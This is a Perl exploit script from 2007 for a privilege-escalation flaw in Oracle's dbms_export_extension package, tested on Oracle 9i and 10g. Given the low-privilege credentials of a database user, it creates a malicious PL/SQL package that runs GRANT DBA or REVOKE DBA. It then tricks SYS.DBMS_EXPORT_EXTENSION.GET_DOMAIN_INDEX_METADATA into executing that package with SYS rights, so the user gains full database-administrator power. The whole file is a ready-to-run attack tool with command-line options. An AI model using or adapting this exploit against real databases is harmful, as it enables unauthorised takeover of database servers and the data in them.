#!/usr/bin/perl # # Remote Oracle dbms_export_extension exploit (any version) # Grant or revoke dba permission to unprivileged user # # Tested on Oracle 10g - Release 10.2.0.1.0 # Oracle 9i - Release 9.2.0.2.0 # # REF: http://www.securityfocus.com/bid/17699 # # AUTHOR: Andrea "bunker" Purificato # http://rawlab.mindcreations.com # # DATE: Copyright 2007 - Sun Feb 4 15:53:04 CET 2007 # # Oracle InstantClient (basic + sdk) required for DBD::Oracle # use warnings; use strict; use DBI; use DBD::Oracle; use Getopt::Std; use vars qw/ %opt /; sub usage { print <<"USAGE"; Syntax: $0 -h -s -u -p [-g|-r] Options: -h target server address -s target sid name -u user -p password -g|-r (g)rant dba to user | (r)evoke dba from user USAGE exit 0 } my $opt_string = 'h:s:u:p:v:gr'; getopts($opt_string, \%opt) or &usage; &usage unless ( $opt{h} or $opt{s} or $opt{u} or $opt{p} ); &usage if ( !$opt{g} and !$opt{r} ); my $user = uc $opt{u}; my $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die; my $sqlcmd = undef; $sqlcmd = "GRANT DBA TO $user" if ($opt{g}); $sqlcmd = "REVOKE DBA FROM $user" if ($opt{r}); print "[-] Wait...\n"; $dbh->{RaiseError} = 1; if ( $dbh->do( qq{ CREATE OR REPLACE PACKAGE BUNKERPKG AUTHID CURRENT_USER IS FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER; END; } ) ) {} elsif ( 6550 != $dbh->err ) { die $dbh->errstr; } else { my $msg = $dbh->func( 'plsql_errstr' ); die $dbh->errstr if not defined $msg; die $msg if $msg; } print "[-] Building evil package\n"; if ( $dbh->do(qq{ CREATE OR REPLACE PACKAGE BODY BUNKERPKG IS FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER IS pragma autonomous_transaction; BEGIN EXECUTE IMMEDIATE '$sqlcmd'; COMMIT; RETURN(1); END; END; } ) ) {} elsif ( 6550 != $dbh->err ) { die $dbh->errstr; } else { my $msg = $dbh->func( 'plsql_errstr' ); die $dbh->errstr if not defined $msg; die $msg if $msg; } print "[-] Finishing evil package\n"; if ( $dbh->do (qq{ DECLARE INDEX_NAME VARCHAR2(200); INDEX_SCHEMA VARCHAR2(200); TYPE_NAME VARCHAR2(200); TYPE_SCHEMA VARCHAR2(200); VERSION VARCHAR2(200); NEWBLOCK PLS_INTEGER; GMFLAGS NUMBER; v_Return VARCHAR2(200); BEGIN INDEX_NAME := 'A1'; INDEX_SCHEMA := '$user'; TYPE_NAME := 'BUNKERPKG'; TYPE_SCHEMA := '$user'; VERSION := ''; GMFLAGS := 1; v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA( INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME => TYPE_NAME, TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK => NEWBLOCK, GMFLAGS => GMFLAGS ); END; } ) ) {} elsif ( 6550 != $dbh->err ) { die $dbh->errstr; } else { my $msg = $dbh->func( 'plsql_errstr' ); die $dbh->errstr if not defined $msg; die $msg if $msg; } print "[-] YOU GOT THE POWAH!!\n"; exit;